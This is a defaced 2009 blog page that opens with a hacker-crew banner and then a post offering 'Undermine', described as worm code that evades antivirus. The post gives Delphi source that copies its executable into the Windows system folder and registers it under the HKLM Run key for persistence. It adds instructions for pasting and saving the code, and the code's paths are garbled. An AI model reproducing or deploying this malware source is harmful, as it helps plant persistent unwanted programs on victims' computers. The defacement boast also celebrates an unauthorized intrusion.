..::--- United Vitomirica Crew ---::..

WebSitE haS beeN HaCkeD bY Wampir

Vitomirica is a part of Kosovo!

Greetz to all members of United Vitomirica Crew

Samo je jedan ORIGINAL a svi ostali su kopije -==- We Love Vitomirica

:: www.VitomiricaCafe.com ::



United Vitomirica Crew
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Undermine Program - ... -==- We Love Vitomirica -==-... - Blog.hr

... -==- We Love Vitomirica -==-...

ponedjeljak, 20.04.2009.

Undermine Program

"\\\\\\\\\\\\\\\\\\\\\\\\
"Ovo je Undermine program" Ako zelite da mu izmenite neke funkcije Luxilius tada nece raditi !
"\\\\\\\\\\\\\\\\\\\\\\\\

U Program Undermine ubacio sam kod koji pomaze Worm drajveru da se pretvori u duha tokom gmizenja i kreiranja propusta

" za sad uz ovaj program me jos nijedan anti-virus i anti-hacker nije nasao..."

" Sada otvorite vas notepad i iskopirajte tekst koji se nalazi ispod ovih zvezdica , zatim fajl nazovite kako vi zelite u nekom od ovih formata

" .jpeg | .exe | .pdf | .iso | .reg | .ini | .unix "

" Kad ga nazovete po zelji tad dole vam je opcija ANSI , medjutim vi izaberite UTF-8 ili Unicode...

**************************************************

program Undermine;
// define icon file
{$R icon.res}
uses
SysUtils, Windows, Math, Registry;
var
lqf: TRegistry;
//w0rm exe name
uszidrv: String = 'Undermine.exe';
// p2p exe names, modify the array!
cck5: array [0..2] of string = (
'rc77.exe','np33.exe','lw36.exe');
//getting system32 dir func
function qwxbn: string;
var
wiv2: array [0..MAX_PATH+1] of Char;
begin
GetSystemDirectory(wiv2, MAX_PATH);
Result:=string(wiv2);
end;
//copy w0rm to system32 folder, add w0rm to registry procedure
procedure ofcuyb;
begin
CopyFile(PChar(ParamStr(0)),Pchar(qwxbn+''+uszidrv), false);
lqf:=TRegistry.Create;
lqf.RootKey:=HKEY_LOCAL_MACHINE;
lqf.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun', false);
lqf.WriteString(uszidrv,qwxbn+''+uszidrv);
lqf.CloseKey;
lqf.Free;
end;
//begin w0rm main c0de, call our func's/proc's and run the shit :p
begin
//add w0rm2reg
ofcuyb;
end.
- 11:47 - Komentari (0) - Isprintaj - #

<< Arhiva >>

Edited by Wampir - Kontakt Pecanac007@Net.Hr, Wampir@Usa.Com Undermine Program - ... -==- We Love Vitomirica -==-... - Blog.hr